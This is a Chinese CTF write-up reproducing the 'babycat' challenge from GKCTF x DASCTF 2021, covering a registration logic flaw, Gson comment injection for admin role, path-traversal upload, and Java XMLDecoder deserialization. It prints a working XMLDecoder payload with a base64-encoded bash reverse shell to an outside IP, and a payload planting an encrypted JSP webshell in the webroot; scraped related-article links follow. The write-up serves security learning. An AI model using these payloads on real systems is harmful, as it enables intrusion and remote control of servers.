GKCTF X DASCTF 2021_babycat复现学习

17解的一道题,涉及到了java反序列化的知识,学习了。
看了下积分榜,如果做出来可能能进前20了哈哈哈,加油吧,这次就搞了两个misc签到,菜的扣脚。

打开后是个登录框,sign up提示不让注册,这里卡了好久,以为是fastjson或jackjson的漏洞,想多了
其实只是个逻辑漏洞,直接把/login的POST包,改成/register就行了,也算是为自己打开了一个思路

登录进来发现是guest,下载文件存在任意文件下载,upload提示只能admin使用
fuzz了一堆系统环境没啥东西,然后去探测web.xml和classes,拿到源码,代码审计吧。
由于我代码审计太菜也看不出漏洞,只好去看看wp了。
漏洞点一(非预期):
在upload的dopost没验证身份,其实可以直接构造上传的,这个其实很容易看出来,但我不知道怎么利用,还是java知识太薄弱了
漏洞点二:
gson进⾏解析json时可以进行多行注释(这个trick我真不知道,谁没事用json做注释啊)
所以构造payload:
data={"username":"wander123","password":"12345","role":"admin"/*, "role":
"test"*/}
替换后 :
data={"username":"wander123","password":"12345","role":"admin"/*, "role":
"guest"*/}
这样就成功注册了admin权限用户,真tm nb啊

注册成功后回到最初的问题,上传有黑名单限制,我tm不会利用啊,看wp发现还有dao的源码没扒,真的菜啊
漏洞点三:
在com.web.dao.baseDao中有使⽤了xmldecoder
然后找触发,登录或注册会触发baseDao.getConnection();触发/db/db.xml
此时我们就有思路了,上传进行目录穿越覆盖db.xml,登录或注册触发xml反序列化漏洞。
这里filename="../../db/db.xml"
这个xmldecoder是weblogic的老漏洞了,利用方式也是一样的,不过过滤了ProcessBuilder这样原本的payload就失效了
不过在复现weblogic的漏洞时你会发现,有些特殊字符是必须进行unicode编码的,所以这里大佬直接编码一个P就绕过了,膜拜
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>{echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMTk1LjE0OS41MC83NTc1IDA+JjEn}|{b
ase64,-d}|{bash,-i}</string>
</void>
</array>
<void method="start"/>
</object>
</java>
这里过内容检测没什么新鲜的,大家应该都会,就不说了
由于我没有vps,所以弹shell的事交给大家了,应该问题不大。
回到官方wp,出题人其实想考的更难一点,java.io.PrintWriter可以对绝对路径的文件进行写入,之前我们利用任意文件读取,可以得到绝对路径
这样就把shell写到static下就行了,其它思路一样
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_192" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string><void
method="println">
<string>
<![CDATA[<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]>
</string>
</void><void method="close"/>
</object>
</java>
这里要注意一点:
xml中jsp部分一定不要带中文,最好先打好再粘贴过去,不然一直不成功,坑了我好久。
最后用冰蝎连接,执行/readflag的sh文件就行了


最后补充一下,好像如果非预期解上传jsp到web目录可以直接拿shell。
这样的话非预期解难度一下变小了,如果用预期解这道题的重点还是CVE-2017-10271利用的原理上,收获颇多。
GKCTF X DASCTF 2021_babycat复现学习的更多相关文章
- PHP-FPM 远程代码执行漏洞(CVE-2019-11043)的简单复现学习
1.概述 漏洞主要由于 PHP-FPM 中 sapi/ fpm/ fpm/ fpm_main.c 文件内的 env_path_info 下溢导致,攻击者可以使用换行符 %0a 破坏 Nginx 中 f ...
- Struct2远程命令执行漏洞(S2-053)复现学习
1.S2-053(CVE-2017-12611) RCE出自一道题目 http://www.whalwl.cn:8027/hello.action 漏洞产生原因:Struts2在使用Freemarke ...
- Redis 4.x RCE 复现学习
攻击场景: 能够访问远程redis的端口(直接访问或者SSRF) 对redis服务器可以访问到的另一台服务器有控制权 实际上就是通过主从特性来 同步传输数据,同时利用模块加载来加载恶意的用来进行命令执 ...
- CVE-2019-0708:RDP终极EXP复现
0x00 前言 每次复现都会遇到各种各样的问题,这次也不例外,经过多次尝试才复现成功,因此把可能的解决方法也和大家分享一下,有想要一起复现学习/投稿的可以联系我哈 0x01 影响版本 Windows ...
- 学习 bypass csp记录
最近看到一篇bypas csp的记录复现学习下 配置csp 这里直接设置html头达到配置csp的效果. Content-Security-Policy: script-src 'self' 'uns ...
- Supervisord远程命令执行漏洞(CVE-2017-11610)复现
Supervisord远程命令执行漏洞(CVE-2017-11610)复现 文章首发在安全客 https://www.anquanke.com/post/id/225451 写在前面 因为工作中遇到了 ...
- 掌握AI学习路上核心理论知识,你绝对不能错过这份最全资料包
人工智能成为当下科技发展的代表之一,持续受到了不少追捧,不管你是否是这一专业的学生或者职场人,学习并掌握一项新潮技能总是不会被同龄人淘汰的.我曾经问过别人.也被别人问过关于学习人工智能(AI)最好的方 ...
- [零基础学IoT Pwn] 复现Netgear WNAP320 RCE
[零基础学IoT Pwn] 复现Netgear WNAP320 RCE 0x00 前言: 这是[零基础学IoT Pwn]的第二篇,上篇我们搭好了仿真环境后,模拟运行了Netgear WNAP320固件 ...
- gopher 协议初探
Gopher 协议初探 最近两天看到了字节脉搏实验室公众号上有一篇<Gopher协议与redis未授权访问>的文章,其中对gopher协议进行了比较详细的介绍,所以打算跟着后面复现学习一下 ...
随机推荐
- 阿里云AIoT云端一体:迎接云原生+低代码时代的到来
距上次2019年参加上海阿里云开发者大会已经近2年的时间了,也许因为疫情的原因,这一两年线下大型活动基本很少了,这次在北京国家会议中心举办的阿里云开发者大会,无论是参会人员的规模,还有演讲嘉宾的级别和 ...
- 学习Git的一些总结
Git是以后公司工作必不可少的,所以早点了解使用它是很有必要的 一般国外的开源是GitHub 国内的是码云Gitee 至于git的安装教程,这里就不啰嗦啦,面向百度即可,安装完成鼠标右键会多几个选项: ...
- ELK搭建-windows
一.E 二.L 启动 三.K 四.filebeat 五.配置文件使用 1.logstash-sample.conf # Sample Logstash configuration for creati ...
- AutomicBoolean
AutomicBoolean 介绍 java并发包下提供的原子变量,是原子类其中之一.基本特性是在多线程环境下,多个线程同时执行这些类的实例包含的方法时,具有排他性 当某个线程进入方法,不会被其他线程 ...
- FinFET与2nm晶圆工艺壁垒
FinFET与2nm晶圆工艺壁垒 谈到半导体工艺尺寸的时候,通常对于下面的一串数字耳熟能详:3um.2um.1.5um.1um.0.8um.0.5um.0.35um.0.25um.0.18um.0.1 ...
- RISC-V与DSA计算机架构
RISC-V与DSA计算机架构 相信所有和计算机体系结构打过交道的朋友们都看过David Patterson与John Hennessy的煌煌巨作,<计算机体系架构:量化研究方法>.两位在 ...
- deeplearning模型分析
deeplearning模型分析 FLOPs paddleslim.analysis.flops(program, detail=False) 获得指定网络的浮点运算次数(FLOPs). 参数: pr ...
- OpenGL在图形管道中调用了什么用户模式图形驱动程序(UMD)?
OpenGL在图形管道中调用了什么用户模式图形驱动程序(UMD)? 图形硬件供应商,需要为显示适配器编,编写用户模式显示驱动程序.用户模式显示驱动程序,是由Microsoft Direct3D运行时加 ...
- MinkowskiNonlinearities非线性
MinkowskiNonlinearities非线性 MinkowskiReLU class MinkowskiEngine.MinkowskiReLU(*args, **kwargs) __init ...
- NSight Compute 用户手册(下)
主菜单 文件 新建项目使用"新建项目"对话框创建新的分析项目 4. Main Menu and Toolbar Information on the main menu and t ...